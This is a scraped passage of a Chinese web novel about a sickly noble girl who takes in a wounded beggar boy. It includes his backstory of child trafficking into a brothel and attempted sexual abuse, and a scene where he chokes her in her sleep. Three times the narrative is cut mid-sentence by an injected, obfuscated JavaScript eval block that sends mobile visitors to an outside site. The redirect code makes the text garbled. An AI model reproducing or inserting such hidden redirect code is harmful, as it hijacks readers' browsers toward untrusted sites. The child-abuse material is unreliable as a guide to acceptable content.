“五妹一向娇纵,在忠义侯府要风得风,要雨得雨,如你这般的玩意,头几日还有股稀罕劲儿,过段时日可就该腻了。”
姬如静说的那样自若,全然没有顾忌江曜压在床幔之下阴暗的脸色。
江曜一个字也不吐,人似若哑巴。
听闻大夫说姬时语捡回来的小乞儿还是个半聋子与瘸子,怕不是她说的那些话都听不到吧?
正当姬如静觉着无趣至极,姬时语已带着萍亭、萍柳杀到了思芳院。
“二姐!”
姬时语听下人禀报,知晓姬如静来了思芳院,心中一凛。
早知道二房的人来准没好事儿,望到姬如静的身影,她二话没说便冲到了江曜的床头。
姬时语个头不高,但大有一副护崽子的姿态。
“人还在病着,叨扰人休息可不好呀,二姐。”
姬时语警惕瞪她,顾不上一路跑来,体弱到脸色发白。
姬如静凝了一瞬她喘气的脸,再想看她身后的江曜,可姬时语立马察觉,挪动身体,她看哪她挡哪。
“五妹还真当宝贝啊。”
姬如静被气笑了,“这么个小乞儿也值得你费劲心思,我瞧五妹你就是发慌闲得,让二姐去给你找些好玩意作弄吧。”
“我不要!”
“五妹不是最稀罕那些个又贵又精致的玩意吗?这小乞儿又脏又不值钱,别要了,不如早些丢了。”
“二姐说你自己呢?”
姬时语蹙眉,她环视姬如静,点了下她的头,又点了下她的脚,“你这头上戴着红宝石石榴发冠,再来两只青鸟衔珠金钗,手腕还有堆丝琥珀手镯,脚面又是银丝团纹鞋,你说谁更爱那些又贵又精致的玩意?”
姬时语摸了摸自己的脑袋,她头上可就一只珍珠簪子,与姬如静比起来,那叫一个白菜见翡翠。
姬如静脸僵住,她一口咬定,“五妹就不喜欢?”
姬时语望着她摆笑,不言而喻。
“五妹,这样可就太不顾念姐妹之情了。”
“你今日非要和思芳院过不去啊?”
姬如静笑呵呵:“我可不是这个意思,你带人回府,我身为忠义侯府的人,怎么都该来看一眼。”
“你看便罢了,羞辱我的人算什么?我娘都未说一句不是,二姐,做事不要太过分了。”
一句“我娘都未说不是”姬如静心底的怒火中烧。
她哪里不知道这忠义侯府自来舒氏说了算,就算二房再怎么安分守己,这辈子都翻不过大房。
而姬时语这个舒氏最疼宠的女儿,是此生都要踩在她的头上。
“你说我管不着你?姬时语,你……”
姬如静再耐不住眼底的扭曲,那只手眼看就要伸出来扇人。
姬时语眼瞳瑟缩,她朝后一退,小腿撞到了床榻,这一下脑子就清醒了几分,小手连忙捂住胸口,高呼起来,“哎哟,萍亭,萍柳,我心口好痛,扶我……”
“小姐!”
“快去喊府医!再寻个人找林大夫入府。”
思芳院的丫鬟们纷纷奔走,姬如静那方才抬起的手,捏紧又落了下来,她怒瞪姬时语,眼中的狠毒飞快咽下。
这该死的丫头又嚎着发病,传出去还不得都说是她把姬时语欺负狠了?
姬时语叫着左疼右疼的,靠在萍亭身上佯装假哭了好一阵,又悄咪咪抬眼。
看姬如静还不走,她吸了吸鼻子,指着她就道:“二姐,同你说了这样久的话,我这心口疼的厉害,哎哟哎哟,我不招待你了,你请自便啊。”
姬如静还能说什么?
姬时语就差直说,看见她便发病了,这指桑骂槐的本事愈发见长。
姬如静咬碎一口牙,硬生生憋回去,就连思芳院一刻都不想呆,扭头便离开。
姬时语闷着脑袋在萍亭身上蹭蹭,好容易把哭腔压下,低声问:“走了没?”
“二小姐走了。”
萍亭好想笑,自家姑娘怎么这么可爱。
姬时语骤然不哭了,抬起脑袋瓜子哼哼叉腰,她扫视一圈思芳院的下人们,勒令道:“往后不许我二姐再来思芳院,她来就没安好心,让人养不好病,都记住了吗?”
“记住了。”齐齐回声。
姬时语又和萍亭道:“快去和那几个丫鬟说,不用寻大夫了,我真怕我娘又操心我。”
萍亭点点头,出屋便去追人。
一大早上就是上蹿下跳,姬如静一走,姬时语便觉着累的不行。
她找了一张梨花木圆椅坐下,舒了一口气。
姬时语哪里不知道二房的没安好心。
大房二房积怨已久,自打老夫人回了老宅,三房跟去陪护,京中便只留下大房二房两房。
如今姬时语之父姬雄武乃是忠义侯,可舒氏膝下却无一子,只有两个女儿。
因此忠义侯世子之位,迟迟没有定夺。
姬时语明白二房打的主意。
二叔父与她父亲是一母同胞的亲兄弟,三叔父却是庶出,尽管二房三房皆有嫡子,然二房所出的嫡子更为正统。
前世姬如静的亲大哥被册立忠义侯世子,二房想等她父亲百年,让姬云暮继承忠义侯。
可眼下怎么闹,忠义侯府的当家主母都不是二房的傅氏,而是舒氏。
因此姬如静不满,接连恣意寻事。
不过姬时语并不怕她,大不了姬如静来闹,她便装病。
这事前世她便熟稔,只要她一病痛,姬如静拿她如何不了,欺负体弱嫡妹,侯夫人舒氏会拿她是问。
只是这装哭亦是耗费精力,这辈子她的心悸之症还未好全,这会儿身体实打实的有些难受。
姬时语小脸不见红润,缓了一会儿后,苍白的脸恢复了两分浅红。
萍柳倒了一杯温水来,姬时语小口喝下,猫瞳般黑亮的圆眼流露出一抹哀怨。
“小姐?”
“饿了。”
姬时语小声嘟囔,蔫蔫地垂头。
一大早爬起来已是够痛苦了,还未进点滴米,小肚子都发出了咕咕叫声。
“那奴婢去小厨房给小姐拿吃食。”
“好萍亭,我想吃鸡肉饼。”
“小姐,清早吃会闹肚子的,夫人说了不准您吃。”
姬时语一听不能,小脸一垮,她不甘心追问,“那我能吃什么?”
“白粥,清汤,红枣糕。”
这寡淡的汤水令姬时语没了半点盼头,而下一刻萍柳便小声道:“兴许还能有瘦肉蘑菇豆腐羹。”
“这感情好!”姬时语眼里有了亮光,她比两个指头,“好萍柳,多拿一碗过来喔。”
萍柳笑着应好。
思芳院再度冷清,室内仅有微弱的呼吸声,姬时语才想起屋中还有个大活人,被晾在一旁的江曜。
姬时语侧过头,打量的目光落在了床头,这一下,直落落对上床头静坐的少年阴郁的双眼。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040554|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一直都在看她!
姬时语错愕,微微心虚地想侧眸,可转念一想,怎么也没做什么坏事,为何惧怕被他瞅见。
“你,你今日身子还好吗?可有被我二姐欺负?”
江曜直勾勾地凝在她一张一合的小嘴。
方才姬时语入室,那张小脸是失了红润的惨白,又听了好一通的鸡飞狗跳,这会儿缓过劲,小脸红扑扑的。
纤长的眼睫如蝶翅在脸蛋印下阴影,她没有看他,他却不自觉咽了口水。
“你……”
姬时语飞快瞥了江曜一眼,少年的凝望太过直接,那双狐狸眼似一把小钩子,让她不敢对视。
她再度垂眸,抠着手指头,“你怎么不说话?”
江曜满心都在想:她应是有心悸。
可那会儿的喊疼直哭却是装的,她的小把戏太过拙劣,他一眼便看穿了。
江曜收回眼,右手的拳头攥了太久,掌心全是红印,他沉默开口道:“没有。”
他不看她,姬时语便有勇气看他,“你还没告诉我,你叫什么。”
江曜还是沉默。
“我总不能喊你喂吧。”姬时语鼓起小脸,“你如今住在姬府,这样不好。”
江曜留在姬府养病,可不能无名无姓的呆着。
他本就金鳞岂是池中物,待到父亲归京,姬时语便打算将江曜交给父亲。
姬府和白家,以及楚王府的恩怨,父亲来处置是最合适不过。
而在那之前,她想竭尽所能让江曜养好病,身子康健起来。
“喂。”
“喂。”
“喂。”
江曜有点烦了,他扭了头,“池生。”
姬时语歪了下脑袋,心想他怎么不叫江曜,但她还是喊:“池生?”
江曜眉眼稍霁,“江池生。”
自池而生,他的母亲背井离乡,在乡村落脚,乡里人谁也不知道一个大着肚子的女人是如何在池塘里将他生下来的。
江曜只知道这名字是他母亲给取的,后来啊。
后来他们告诉他,他娘死了,就死在了生他的那片池塘,她不愿受恶霸的屈辱,被活活摁死在了水里。
许多事江曜已是记不得了,他甚至不记得他娘的模样。
他只记得最难的日子,便是和野狗抢吃的,有一顿没一顿的。
而江池生,就是他的名字。
再一晃眼,小姑娘俏丽的玉脸已来到了他跟前。
姬时语将椅子搬了过来,离得近些,她周身的玉兰花香清晰可闻。
“江池生,我二姐早上定是来欺负你了,你不肯说,我都知道。”
姬时语软软糯糯的嗓音,抚平了江曜回忆起时的痛楚,“但你别怕呀,你是我带回府的,不论谁都不能欺负于你,我保证。”
江曜眼里闪着冷意,姬时语却如哄孩子似得,轻轻拍了拍他的手背,她的话音宛如轻柔的羽毛,“大夫说了,你的耳聋很快就能治好,腿伤呢,你只要乖乖听话,也不会太难,所以……”
姬时语又说得郑重了些,“你要听话。”
这已是两人接触已来,她说的不知道多少个“听话”了。
末了,见少年安静,姬时语上手,想摸摸少年的脑袋,可凝到他未洗的脏发,又改为轻轻摸了下他的手。
江曜看到了她抬手的停顿,有些确信,这忠义侯府的五小姐,是真拿他当小狗看的。
他垂首,狐狸眼阴郁冰凉。
5. 第 5 章
江曜当过狗。
他的娘死的早,村里人又不愿接纳他这个外乡诞下的孤儿,江曜过了一段猪狗不如的日子。
从野狗口腹抢来的剩饭剩菜,江曜会在一番争夺之后,吃得香喷喷的。
他不知归处,不知去往何方,只能四处流浪。
江曜到了凉州城内,终于还是成了城郊的一名乞儿。
天地为铺,四处乞讨要食为生,那时候他还想着,这样的日子也许就是他这辈子的尽头。
可是有一日,江曜被人连绑带捆的带到了一处院落中,有个胖婆婆让人给他洗了身,换了新衣裳,又送来了一碗热腾腾的肉丝面。
江曜第一回吃到干净的吃食,全身心都感到了温暖,胖婆婆笑眯眯地说:“你这小娃生得还挺俊秀的,就留在我这里吧,有吃有喝的。”
食物的香甜太过诱人,又或是江曜不愿再回到那似野狗的日子,他抵不住诱惑,点了头。
胖婆婆很是满意。
而后他被分到了木屋的住处,里头有许多与他年龄相仿的男孩,有人就问了他,“你自愿来的?”
江曜不明白何意,但还是点了头。
“你不知道这里是什么地方?”
“你这模样,老鸨要养你当清倌花魁啊。”
江曜什么都不明白,无人教他世道,更无人教他自保。
那是凉州城内最有名气的少年花楼之地,清倌孩童一个赛一个的貌美,只要权贵官人们想要,何样的孩子都能寻来。
而被养了一段时日的江曜终是显露了他出众的样貌,唇红齿白的十岁孩童,是最惹眼的存在。
他眉眼那股自带的孤傲与凛冽,引来贵人们蠢蠢欲动的狩猎之欲。
这样的玩意征服起来才有意思,不是吗?
到处都是令人厌恶的脏话,江曜明白了自己哪里是到了温暖乡,这里根本就是比狗窝还不如的豺狼虎豹巢穴。
更没有胖婆婆真心善意的肉丝面,有的只是见他容貌惊艳,又是孤身一人,倌子的老鸨抓了他养着,只为了倌子生意数不尽的银子。
而他这个十岁的孩子,养好了便要去接客。
老鸨肮脏的嘴脸到死江曜都忘不掉。
江曜拒不接客,第一回尝试逃跑,被打断了一条腿。
“你敢跑!敢跑另一条腿我也给你打断!”
老鸨面无表情地举起鞭子,鞭笞雨点一般,尽数落在了江曜的后背,每一次的拒客,换来的只有更猛烈的鞭打。
伤口愈合了开,开了再愈合,血色的后背痛得江曜好想死,无数个难眠的夜,他仰着头望月。
他要走,他必须走。
江曜拖着血淋淋的身体,已一条腿为代价逃了出来。
凉州城他一刻不敢多待,连夜便出城往更远的城逃命,江曜精疲力尽,多日没能进食,饿得他眼前生了幻想。
似乎是他的娘亲,她温柔地浅笑着,喊他一起回家。
娘——
江曜艰难地爬行,有人将他扶起,又从前方不远处的粥棚取来了热乎的热粥。
他又得救了。
在粥棚附近讨食的日子安逸了下来,江曜听人说,搭设粥棚的主子,便是城中太守府的夫人。
那位慈眉善目的夫人每逢十五都会来粥棚瞧上一眼,是再和善不过的人。
江曜没有意动,而第二个月的十五,他见到了那位太守夫人。
本不想有半点接触,可贵妇还是走近了他的身边,她心疼他的伤痕累累,让家仆们带他去往太守府医治身体。
太守夫人笑着说:“还是得给你寻一个避难之所啊,跟我走吧,好吗?”
江曜想要拒绝,可身侧围满了人,数多乞丐们跪地感恩太守夫人心善,他就这么被驾着上了车。
太守府可比花楼要警备森严,四处都是巡逻的护卫,府邸大而幽闭,江曜想逃,可一时之间又摸索不出方向。
贵妇当真找了大夫来给他看治,又好生将他养在别院。
尽管如此善意对待,江曜的防备之心从未消除。
在太守府相安无事的过了两个月,江曜连府内有几处狗洞都铭记于心,眼见后背伤口彻底结疤,他有意趁着月黑风高之夜出逃。
便是这一日,太守府之内突增一倍之多的府兵,打得江曜一个措手不及。
更火急火燎的是,还不等他想到对策,太守夫人就让人将他抬去沐浴,换上了轻薄的长衫,她转手将他送到了她的夫君,那位百姓眼中青天大老爷太守大人的房中。
这一对善爱百姓的太守夫妻,背地里却做着如此下作的勾当!
“老爷真看上了你,不愧是我一眼相中的。”太守夫人望着他的目光有慈爱还有森冷的恨意,她还是那样善意的笑,“太守大人能选中你,是喜欢你,你需得感到荣幸,知道吗?”
“事出有因,老爷想疼你,过后不论怎样,你要记住,都是老爷宠爱你才如此对待。”
江曜被带到了黑屋之中,太守夫人留下最后一句话,“哪里也不许逃,不准反抗。”
这哪里是菩萨,分明菩萨面下是阎罗心。
原来这太守大人嗜好娈童,太守夫人见他容貌好,这才带入了府。
江曜一介孤儿插翅难飞,一旦事成,天知地知外人不知,全当无事发生。
江曜才是恨啊!
少年蓄起杀意,太守刚踏入屋门,趁着夜色朦胧,江曜打碎了桌上的茶碗,径直用那锋利瓷片划破了他的喉咙。
漆黑的夜,唯有房中凄厉的惨叫,与一名就着夜色出逃的少年。
江曜庆幸太守办事的时候驱离了伺候的人,才给了他得以喘息逃生的时机。
他没让人得逞,凭着对太守府的熟悉,很快江曜就从一处偏僻的狗洞钻了出去。
江曜更不敢多留,又是一次连夜逃命,从此往后,任何人在他眼中都是吃人的鬼怪。
来到辽城,江曜备受挤兑,接连受了无数乞丐们的拳打脚踢,腿伤未好全又被打断了腿,头颅被摁着撞在墙壁,半边脸鸣鸣作响。
江曜聋了半边,也瘸了半边。
这些年飘零的日子,江曜明晓一个道理。
温柔和善的漂亮女人,他不能信,非常。
他是当过狗,可他绝不会容忍被人玩弄。
江曜弄清楚了姬时语是忠义侯府的五小姐,那日她的母亲,带他回府的舒氏便是忠义侯府的当家主母。
不过是杀个人,眼前这手无寸铁之力,还身带病气的娇弱小姑娘,都不要他取来刀剑,光是一个扼喉,就能送她上西天了吧。
只是若杀了姬时语,忠义侯府不会善罢甘休,他铁定逃不过官兵追捕。
江曜思索着,慢慢的,隐去了眼底的杀气。
萍柳拿了饭菜回来,姬时语早饿得不行,双眼放光抱着一碗蘑菇瘦肉豆腐羹吃的喷香。
她怎么都想不到,床榻那面的少年,一双狐狸眼之中盘算的是,如何杀了她,再从忠义侯府逃脱。
姬时语吃了一碗豆腐羹,舔了舔唇边的油渍,又扬着小脑袋管萍柳要另一碗,“还要!”
萍柳很是无奈,她本以为自家姑娘要两碗,是打算分给江曜一碗,没想到她这样贪吃,吃了一碗还要第二碗。
姬时语捧着碗,小口小口啜汤,白白的脸蛋一鼓一鼓的。
她吃东西时专注又欢快,江曜只是用余光瞥她,都觉着那东西美味至极,自己似乎看饿了。
吃饱喝足,萍亭这时折回,禀报道:“小姐,夫人已请了林大夫过府,您得回去一趟。”
“啊……”
坏了,姬时语一想,今早这事娘定是全知晓了,林大夫都来了,她这装病还不被一眼识破?
完
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040555|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
犊子了!
姬时语起身便要走,她踏足刚出屋,又回头探了脑袋进来。
屋内昏暗,而她那一双圆溜溜的眼瞳竟比明月还要皎洁。
她甜腻腻地欢笑道:“江池生,你等我明日再来陪你,你要乖喔。”
江曜的头朝里一偏,一句回应也没给。
对此,姬时语早习以为常。
有了姬时语的告诫,思芳院的下人们严守院门,江曜难得有了清净养病的日子。
只不过姬时语说的那句“明日”,江曜却等不到了。
算着时日,这已是第七日,姬时语却再也没有来过。
江曜的心发冷,他该麻木的,更不应生出无端的期盼,可他还是有一刹的委屈。
呵,他被骗了。
她骗了他,他该怎么惩罚她呢?
没有明日,忠义侯府受尽宠爱的五小姐一时兴起捡回了他这个破烂玩意后,只不过两日就腻了。
也许正如二小姐姬如静所说。
江曜愈发冷静,遏制住的杀意如同野草疯长,他只有一个念头:他不能再次坐以待毙了,他要走。
杀了她离开。
尝试着下床,江曜身体艰难挪动,受了伤的腿好似铸了银般沉重,仅是挪了几步,又是疼又是累,他满头大汗。
砰——
江曜摔下了床。
他双臂撑地,撑着自己爬了起来。
砰——
他又摔了。
江曜的嘴唇咬破鲜血溢出,他的额头暴起青筋,再次颤巍巍地站了起来。
不论跌几回,他都要爬起来。
……
韶华院。
春深晚夜,夜幕星斗流转,虫鸣隐入月光。
姬时语的院落里淡淡的,弥漫着一股药香和玉兰花香混杂的气味。
“萍亭,真的好讨厌呀,我都闷死了,何时是个头啊?”
“小姐,您再忍忍,夫人不是说了,明日便好了吗?”
“可是,可是,江池生那面……”
江曜僵硬的身子一顿,循着气味他来到了姬时语的韶华院。
每到夜深人静,他便艰难爬出思芳院。
夜色是他绝佳的辅佐,他最是懂得如何隐蔽,再找寻院落方位。
“小姐且安心吧,思芳院下人们来报,江公子无大碍,您无需太过担忧。反而小姐您,这心悸之症又重了几分,林大夫交代过,需得再吃三个月的药。”
姬时语一阵哀嚎。
天杀的,那日回院,舒氏肃穆端坐,唬得她不敢多言,乖乖挨了娘亲的教训。
舒氏禁了她半月的足,而她因奔波后装病致使身子真的病倒,软了七日多才将将能下榻行走。
十五日了,未见到江曜,姬时语都不知他怎样了。
光是想到这些,姬时语愁得白嫩小脸皱成了包子。
她捧着脸在窗边烛火摇晃,又觉着晕,只能噘嘴寻萍亭问话。
萍亭道:“小姐,您为何对江公子那样上心啊?他左不过一介外人,您还三番两头去思芳院。”
“我啊……”
姬时语晃动着双腿,灵动的眼珠子转了几下,笑靥如花。
带江曜回府自然是为了自己的心病,放在她身边,她最能安心,病才好得快。
而喜欢去找他,八成是觉着江曜的性子逗起来可有意思。
他冷冷的,抗拒旁人,可似乎架不住软软的体贴,是个口是心非又吃软不吃硬的主啊。
还一碰一摸就炸,怎么就那么像遗落在外的猛兽幼崽呢?
“你不觉着,他真的很好玩嘛?”
窗花之上映出小姑娘的身影,江曜躲在屋外的墙角,耳里与冷风一道灌入的,便是这句话。
霎时间,江曜攥拳,阴郁眼眸杀意四起。
他要杀了她!
6. 第 6 章
姬时语打了个盹,似无意问:“几时了?”
“亥时一刻。”
“我要歇了。”
姬时语不管不顾褪了绣花鞋,一股脑便爬回了床里。
自从小姑娘再度犯病,夜晚瞌睡的毛病不见好转,不过亥时她就困得直打哈欠流眼泪,几乎沾上枕头她便沉沉睡过去了。
听到浅淡的呼吸声,萍亭轻手轻脚地剪了灯芯,扭头和萍柳比了个“嘘”,两人一同从内室退下。
屋内很快便空荡荡下来。
只是片刻,窗棂却被人轻轻推开。
月色如水,倒映出一抹暗沉的身影,他沿着窗沿,渐而爬入了室内。
几不可闻的,姬时语翻了一个身,脸面朝向窗。
月光便径直洒在她白玉似得脸蛋之上,更衬得小姑娘那未痊愈的胴体雪白。
暗影打在她面上,江曜静静伫立在床边,一眨不眨地凝视姬时语。
比他预料的还要容易,这位备受宠爱的忠义侯府五小姐身边,看管竟如此轻松,他轻而易举地便摸入了她的闺房。
咫尺之间,他可触摸到她。
只要杀了她,一切的一切都迎刃而解。
江曜抬起了手,一股温热的气息骤然打在他的指尖,烫得他几触缩手。
“江……”姬时语樱桃似的唇蠕动,喃喃自语,“池生……”
她怎么能这样温柔的喊他?
在将他视作狗一类玩弄之后。
他就不应该告诉她自己的名字。
无名之火涌起,江曜一把扣住了姬时语细嫩的脖颈。
小姑娘的脖子又细又白,如同易折的花茎,只要他稍稍用力,这朵精心养育的花骨朵儿便会在他手中凋零。
“江……池生……”
仿佛做了梦魇,姬时语又在喊他。
江曜没有用力,他掌心是不曾触摸过的滑嫩,太软了,微微失神,他的心晃了一刹。
姬时语摇了下脑袋,她唤着他,感受到手下的颤动,江曜以为她苏醒,惊怕之下便要捂住姬时语的嘴,可她没有。
浓密的眼睫在小姑娘眼之上猛烈颤抖,江曜定定端详她的脸,手里不自觉多了一分力道。
姬时语入了梦魇。
大雪纷飞的冬日,车外寒风席卷,姬时语将从镇国将军府上归来。
听闻亲姐出嫁之后过的并不好,头两年,于家畏惧忠义侯府而善待于她,夫君也守着跪在她爹娘跟前立下的承诺:只此一妻,绝不纳妾。
只是姬合英三年无所出,于家容忍不了,姬时语再见长姐,她却像苍老了十岁,曾经那个驰骋高马、英姿勃发的姬大小姐再不复存在。
姬时语心中有如被刀割般疼痛。
姐姐终究还是赌输了。
于家纳了一个又一个妾侍,于威意欲休妻,一向坚韧连在练功场吃再多苦,受再多伤都没哭过的姐姐,抱着她哭得像个泪人。
姬合英哭着说:“妹妹,我想家了,我想爹娘,想去边关。”
姬时语明白大姐究竟牺牲了多少,从小到大她是最像父亲的那个,酷爱耍刀枪,骑马过街。
大房无儿子承爵,二房的姬云暮当上了忠义侯世子,傅氏因而从母亲手上抢夺掌家之权。
不得已,母亲只能抢先给大姐定下亲事。
定亲那日,姬合英抱着她苦涩不已,“妹妹,若我是男儿身该多好。”
姬合英义无反顾地舍了刀枪,换上钗裙,嫁去了她压根不喜欢的镇国将军府于家。
同样的将门之家,可于家要的并非女将,而是洗手作羹汤的好妻子。
彼时镇国将军府于家在朝中声望极高,于老将军位列二品,而姬时语的姐夫,姬合英的夫君于威更是后起之秀。
嫁去镇国将军府,姬合英全是为了让姬时语日后能寻个好夫婿,她这个姐姐嫁得好,即使傅氏夺权,她依然能以婆家威望为姬时语撑腰。
可是于威并不喜欢姐姐姬合英,他觉着女子习武本就粗鄙,更妄论姬合英家中的杂活一概不会,性子又太过直来直去。
比起姐姐,他更喜欢温柔似水恬静的女子。
直到那时,姬时语才明白姐姐姬合英过的有多委屈。
而这些,都是因为她。
怔怔然从镇国将军府离开,姬时语躲在马车之中大哭了一场。
哭过擦了眼泪,她下定决心,回府和父母商议,看可否能让姬合英和离,接她回忠义侯府。
就这样,马车在雪中行驶,来到了回心阁。
车外是萍亭的惊呼,“小姐,那面……”
车外入目是刺目的红,雪色之间,那红刺得她双眼疼痛。
窄小的巷子,男人被压在雪下,他好像还有最后一口气未咽,姬时语眼眸飞跃,那双死沉的狐狸眼睁开,直勾勾地捉住了她。
他干裂的嘴皮动了。
姬时语整颗心都被攥住,下一刻便要碎掉。
“你为什么不救我?”
“你为什么不救我!”
“为什么!”
“……”
“你为什么要救我?”
江曜也不知在问谁,无声无息,消散在一片沉寂的室内。
小姑娘那双好看的眼眸始终没有睁开,她晃着脑袋,哽咽着,断了线的眼泪不住地从眼角滚落。
“对不起……”
她为什么要哭?
为什么和自己道歉?
江曜眼神冰冷,就这么望着姬时语梦魇抽泣。
是同情?是怜悯?
可是,眼泪这等伪善之物,他早已不再需要了。
他不需要谁的同情与可怜,更不需要任何人的眼泪。
那么,他要什么呢。
江曜想起来,他被打得满头鲜血,视线茫茫,那时候姬时语不顾一切的朝他跑来,她说了什么来着?
一股汹涌澎湃的迷茫席卷了江曜,他不懂姬时语入梦看见了什么,恍惚之间他倏地清醒,他惊觉,忙松开手心。
“跟我走,我会保护你。”
这句话在脑中回荡。
哈,真想杀了她,让内心好过些。
只是他才稍稍用力,掌下白玉的脖颈便留下了红印,江曜弥留的意识强烈地告诉他。
今日到此为止。
床头小姑娘已止了抽泣,她泪珠干涸,脸蛋挂着泪痕,与被他掐红的痕迹一同,惨兮兮的,十分难看。
“该。”
江曜心里终于爽快了一些。
看她难受,他反而卑劣的高兴,谁让她先叫自己难受的?
谁让他不好过,他就让谁一样不好过。
月色敛起,江曜看了一眼窗外,沉沉思索过后,他还是顿步顺着窗沿爬出了屋子。
……
翌日。
姬时语醒来时,总觉得昨夜她入梦又大哭了一场,每回梦回前世,诸多事都压得她喘不过气来。
林爷爷诊治时,几番提过,她这心悸定要放宽心,想得开,那样病情才能好转的快。
姬时语想,她该想些好的,江曜在府上,姐姐还好好的,她还有许多事可做呢。
萍柳端着水盆入内,姬时语便翻身下床,顺口问道:“可有命人去思芳院?江池生怎么样了?”
“小姐次次清晨便念叨江公子,奴婢耳朵都起茧子了,那江公子好的不能再好,如今连个蚊虫都飞不进去,更别说咬他了,您就安心吧。”
萍柳走来伺候姬时语梳洗,她用柔软的帕子轻轻抹了姬时语的脸蛋,又是一声诶,“小姐,您昨夜睡的可好,怎么脖子红红的。”
“是吗?”
姬时语拿了一只小铜镜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040556|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
左右照照脖颈,只见白皙的脖侧,依稀落着两道微红的痕迹,她没起疑虑,只是嘟囔,“不会是叫蚊虫咬了吧?”
“这天,哪儿来的蚊虫?”
萍柳想,怎么都得五月才会有蚊虫叮咬。
“那便是床褥,瞧着像要起小疹子。”
“那奴婢命人给您换一床被褥。”
这等小伤不痛不痒的,姬时语没去理睬,萍柳却是很上心,怕自家小姐身子再有什么差池,她当下便去收拾被褥。
姬时语在屋中坐着无趣至极,连饭都无甚胃口吃,她喊了萍亭过来,让她去小厨房弄几样吃食。
……
思芳院。
江曜眼下心情尚可,昨晚偷摸去姬时语的闺房,惹得那五小姐一通哭,又给人欺负的脖子红红,那点被她骗了的不快都消散了。
只是可惜,他没能杀了这个把自己当狗玩弄的小姐。
忠义侯府权势滔天,如今的他赌不起。
江曜枕靠在床榻,阴沉的狐狸眼眯起,做思忖状。
很快,屋外传来了一阵娇俏的哼声,江曜眼皮子动了动,下意识地便往屋门口觑眼。
“我不管,我就要在这儿用膳!萍亭,我不许你再去禀报我娘,我在思芳院吃怎么了?”
“小姐,夫人是让你在院中休养,来来回回的跑,累坏了怎么办?”
“累不坏的,我在屋里吃不下,我在这儿才吃得下饭,娘问起来,你就这么说。”
“那药呢?”
江曜一字不落地听着,一道逆着光的倩影已是踏步入屋,小姑娘身着嫩绿色的杏花襦裙,便如院子里将绽放的迎春花,和着花香,尽数闯了进来。
姬时语回头哼哼,“好啦,我又不是不吃药,过会儿用过饭,你将药拿来就是。”
萍亭道:“那小姐您不能再倒掉了。”
“我何时倒过了?”
“这十日的药,林大夫说您每日得吃两回,奴婢记着您倒了十余碗。若非夫人派人盯着,您怕是一碗都不肯喝。”
姬时语刚要辩驳,床里的少年再忍不住,一道呵笑自他唇边溢出。
江曜见她看过来,第一时扭了头,然而余光之中小姑娘还是涨红了脸,跟个小桃子似得,又羞又怒,“你,你笑话我!”
也不管江曜回不回,姬时语恼得去拽拉萍亭,“萍亭你莫要说了,在人家跟前,我脸都丢光了。”
“小姐,只是喝药……”
“我喝,我喝,我都喝。”
姬时语只想叫萍亭打住,待她应下,萍亭便喊了丫鬟们入屋,一溜烟地将早膳摆在圆桌之上。
清汤馄饨、豆沙包、红枣桂圆羹。
江曜一样一样凝过去,狐狸眼又眨巴了两下,那面姬时语吃得腮帮子鼓鼓,他恍然大悟。
合着她在自个儿屋里吃不下东西,跑来他这儿,便是把好吃的全摆在他屋子里,让他看着,一个人吃独食?
姬时语吃了一口馄饨,小厨娘的厨娘很懂她的口味,做的皮薄馅大,汤汁鲜嫩,好吃的不行。
咽下一个,姬时语一偏头,便是床那头阴沉沉的狐狸眼。
“你是想一起吃吗?”
姬时语看了看自己碗里的吃食,又看看未动的膳食,起身将圆桌子拉近去到床边。
做完这些,她却又突然泄了气,谆谆教导江曜,“可是大夫说了,这些你一概不能吃啊。”
江曜看她一副“我想给你吃好吃的,怎么办”的神情,眉梢便是一弯,少年笑了,冷冷的。
姬时语看得心虚,下一刻她有了主意,喊来萍亭去小厨房。
“江池生,等你好全,你想吃烤全羊还是烤小乳猪,我都请你。”
姬时语哄着少年,说的那叫一个财大气粗,丝毫不让江曜知晓她私房钱只有五两银子,压根请不起。
7. 第 7 章
帷幔之下,床头的少年面容渐而柔和,褪去暗色,他一双狐狸眼勾人又潋滟。
少年少见的乖顺,他勾唇一笑,姬时语心口漏掉一刹。
果然把心病放在眼皮底下最安心,亲眼看他日渐好转,病情大好,她是吃嘛嘛香,睡的好也不忧愁,这心病自然便药到病除了。
如此想来,姬时语捧着下巴在圆桌边落座,萍亭端来了一碗热腾腾的白粥,她轻轻推到江曜的跟前,笑意盈盈道:“这回我们便能一同吃了。”
江曜看看她手里的红豆沙和清香的猪肉馄饨,再看看他碗里寡淡的白粥,最后还是一个字没说闭眼喝粥。
这一吃,江曜没成想,他竟是连吃了七日。
